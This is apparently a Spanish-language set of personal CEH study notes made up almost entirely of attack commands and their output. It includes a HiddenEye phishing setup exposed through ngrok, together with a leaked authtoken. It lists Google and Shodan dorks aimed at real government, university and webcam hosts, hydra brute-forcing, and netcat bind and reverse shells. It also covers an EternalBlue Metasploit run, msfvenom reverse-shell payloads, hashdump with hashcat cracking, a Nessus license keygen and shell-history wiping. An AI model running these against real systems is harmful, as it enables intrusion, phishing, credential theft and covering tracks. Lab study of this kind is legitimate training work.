PIT CEH 241fab5460ec8020a17dd9f0d1b69727
PIT CEH
chmod +x VMware-Player-6.0.3-1895310.x86_64.bundle
sudo ./VMware-Player-6.0.3-1895310.x86_64.bundlenmap -sP 192.168.20.0/24┌──(kali㉿kali)-[~]
└─$ sudo arp-scan --interface eth2 192.168.20.0/24
Interface: eth2, type: EN10MB, MAC: 00:0c:29:30:de:ed, IPv4: 192.168.20.133
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.20.1 00:50:56:c0:00:02 (Unknown)
192.168.20.134 00:0c:29:e2:a5:98 (Unknown)
192.168.20.254 00:50:56:f8:9c:b5 (Unknown)https://www.youtube.com/watch?v=sLWYpqjT0_Y
https://www.youtube.com/watch?v=KsMXVnqQ3sgrm ~/.mozilla/firefox/kali/SiteSecurityServiceState.txtsudo mkdir -p /etc/X11/xorg.conf.d
sudo nano /etc/X11/xorg.conf.d/20-modesetting.confsudo systemctl restart NetworkManagerhistory -c
rm .bash_history
rm .zsh_historygit clone "https://github.com/Morsmalleo/HiddenEye_Legacy.git"
cd HiddenEye_Legacy
sudo pip3 install -r requirements.txt --break-system-packages
sudo pip3 install pgrep --break-system-packages
sudo pip3 install pyngrok --break-system-packages
python3 ./HiddenEye.pyhttp://127.0.0.1:8888 sudo apt install ufw
sudo ufw allow 8888 [OPCIONAL]
sudo ufw allow 80 [OPCIONAL]
# sudo ufw allow 5555 [OPCIONAL]
# 192.168.20.133:80 seria igual a 127.0.0.1:8888
sudo apt install socat # si no lo tienes
sudo socat TCP-LISTEN:80,fork TCP:127.0.0.1:8888
# 192.168.20.133:5555 seria igual a 127.0.0.1:8888
# sudo apt install socat # si no lo tienes
# sudo socat TCP-LISTEN:5555,fork TCP:127.0.0.1:8888curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \
&& echo "deb https://ngrok-agent.s3.amazonaws.com bookworm main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list \
&& sudo apt update \
&& sudo apt install ngrokngrok config add-authtoken 1y9L0sj2cDzQiu70fynWOPkZzKS_PKZZgdzbbpHkGRWeiDpangrok http 80siite:gob.mx intitle:"ftp"
site:gob.mx filetype:pdf administrator passwordsublist3r -d leunam.xyz[-] Total Unique Subdomains Found: 3
mr.leunam.xyz
ps.leunam.xyz
talks.leunam.xyzdnsenum leunam.xyzleunam.xyz. 5 IN A 104.21.89.65
leunam.xyz. 5 IN A 172.67.156.228country:pe
country:pe city:"Lima"
os:"Ubuntu"
os:"Windows Server 2008"
port:3389
product:"Remote Desktop Protocol"
country:pe http.title:"Index of /"
country:pe city:"Lima" os:"Ubuntu" port:8080
country:pe city:"Lima" os:"Ubuntu" org:"Universidad Nacional"
country:pe city:"Lima" org:"Universidad Nacional" port:3389"attention" "encrypted" port:3389country:pe screenshot.label:webcam has_screenshot:1
http://190.117.213.156:8080/country:pe title:"+tm01+"
http://179.43.87.242:1024/img/main.cgi?next_file=main.htmcountry="PE"
org="Stanford University"
os="RouterOS"
country="BR" vul.cve="CVE-2025-20343"
vul.cve="CVE-2023-46747"
app="CVE-2025-20343" && country="Brazil"VER CUANTOS EQUIPOS ESTÁN ACTIVOS (HOST DISCOVERY)
nmap -PR (ARP)
nmap -PE (ICMP / ping)
nmap -Pn (Sin Ping / evita bloqueos de firewall)
nmap -sn (Ping sweep)
VER PUERTOS ACTIVOS
nmap -p 80,123
VER VERSIONES
nmap -sV
nmap -O
nmap --script banner
VER VULNERABILIDADES (Nmap Scripting Engine (NSE))
nmap -sC
nmap --script default,discovery,vuln
TIEMPO DE ACCIÓN
nmap -T3 (por defecto)
nmap -T0 (mas lenta)
nmap -T5 (mas rápido)
nmap --vv
nmap -p 22,80 -sV -T5 --script default,discovery,vuln -O 192.168.20.128
nmap -p 22,80 -sV -T5 --script vuln -O 192.168.20.128
nmap -p 22,80 -sV -T0 192.168.20.128nmap -sV 192.168.20.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 21:34 EDT
Nmap scan report for 192.168.20.128
Host is up (0.00020s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 00:0C:29:F6:B7:17 (VMware)
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.45 secondsDescarga: https://www.tenable.com/downloads/nessus
sudo dpkg -i Nessus-10.10.1-ubuntu1604_amd64.deb
systemctl start nessusd.service
https://127.0.0.1:8834/git clone https://github.com/harshdhamaniya/nessuskeygen
cd nessuskeygen
python nessuslicense.py2 [elegimos Expert Key]# Instalar Docker
sudo apt update
sudo apt install -y docker.io
sudo systemctl enable docker --now
sudo apt install docker-compose
sudo usermod -aG docker $USER && su $USER# Instalar Openvas
export D_DIR=$HOME/greenbone-community-container && mkdir -p $D_DIR
curl -f -O -L https://greenbone.github.io/docs/latest/_static/docker-compose.yml --output-dir "$D_DIR"
# Reemplazar en el .yml el 127.0.0.1 por 0.0.0.0
docker compose -f $D_DIR/docker-compose.yml pull
docker compose -f $D_DIR/docker-compose.yml up -dhttp://127.0.0.1:9392/login
Usuario: admin
Password: adminospd-openvas
docker compose -f docker-compose.yml restart ospd-openvassudo apt install seclistssudo gzip -d /usr/share/wordlists/rockyou.txt.gzadmin_user
test_user
user_demo
guest_user
vagrant
user_access
admin123
user
msfadmin
user_admin
new_user
user_guest
app_user
admin_user
administradorhydra -l admin -P passwords.txt ssh://192.168.20.128
# -l un usuario
# -L muchos usuarios
# -p una contraseña
# -P muchas contraseñashydra -L passwords.txt -P passwords.txt ssh://192.168.20.128ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)hydra -L passwords.txt -P passwords.txt ftp://192.168.20.128ftp 192.168.20.128
-->username
-->passwordhydra -L passwords.txt -P passwords.txt rdp://192.168.20.128:3389sudo apt update
sudo apt install remminapython3 -m http.server 5555# Ejecutar en Windows - Paso 01: Abrir puerto
nc.exe -l -p 4444 -e cmd.exe# Ejecutar en Kali - Paso 02: Conectarse al puerto abierto
nc <IP_Windows> 4444
nc 192.168.20.128 4444# Ejecutar en Kali - Paso 01: Abrir puerto
nc -lvp 4444# Ejecutar en Kali - Paso 02: Conectarse al atacante ofreciendo su shell
nc.exe <IP_KALI> 4444 -e cmd.exe
nc.exe 192.168.20.133 4444 -e cmd.exemsfconsolesearch eternalblueuse exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp [opcional]show optionsset RHOSTS <target_IP>
set LHOST <your_IP>
set LPORT <your_port> | Usualmente 4444
# Ejemplo:
set RHOST 192.168.20.128
set LHOST 192.168.20.133
set LPORT 8899check # para verificar si es vulnerable
run # para ejecutar
exit # para salirmeterpreter > sysinfo
meterpreter > getuid
meterpreter > ipconfig
meterpreter > getpid
meterpreter > ps
meterpreter > migrate <pid>
meterpreter > shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_DEL_ATACANTE> LPORT=<PUERTO> -f exe > reverse_shell.exe
# Ejemplo:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.133 LPORT=4444 -f exe > reverse_shell.exemsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP_DEL_ATACANTE> LPORT=<PUERTO> -f elf > reverse_shell.elfmsfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.20.133
set LPORT 4444
exploit# Ctr+Z [Para salir de la shell a Background *Meterpreter* ]
meterpreter> mkdir C:\\Users\\vagrant\\Documents\\Tmp
meterpreter> cd C:\Users\vagrant\Documents\Tmp
meterpreter> upload /home/leunam/Documents/00_CEH/reverse_shell.exe C:\\Users\\vagrant\\Documents\\Tmp\\reverse_shell.exe
meterpreter> execute -f C:\\Users\\vagrant\\Documents\\Tmp\\reverse_shell.exemeterpreter> run post/windows/gather/hashdump# Ejemplo de interpretación de hash dump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
# usuario → Administrator
# RID → 500
# LM Hash → aad3b435b51404eeaad3b435b51404ee
# NTLM Hash → e02bc503339d51f71d913c245d35b50bman hashcat | grep "NTLM"
1000 = NTLM
5500 = NetNTLMv1-VANILLA / NetNTLMv1-ESS
5600 = NetNTLMv2hashcat -m 1000 --force -a 0 ntlm_hash.txt /usr/share/wordlists/rockyou.txte02bc503339d51f71d913c245d35b50b:vagrant
0fd2eb40c4aa690171ba066c037397ee:pr0t0c0lEres un pentester enfocado en web y debes brindarme el riesgo, descripcion y recomendaciones para un XSS que solo se puede realizar en el panel de administración, brindame tambien el vector de cvss 3.1Eres un pentester y debes brindarme el riesgo, descripción, recomendaciones y vector de cvss 3.1 para el eternal blue que está afectando a un Windows Server 2008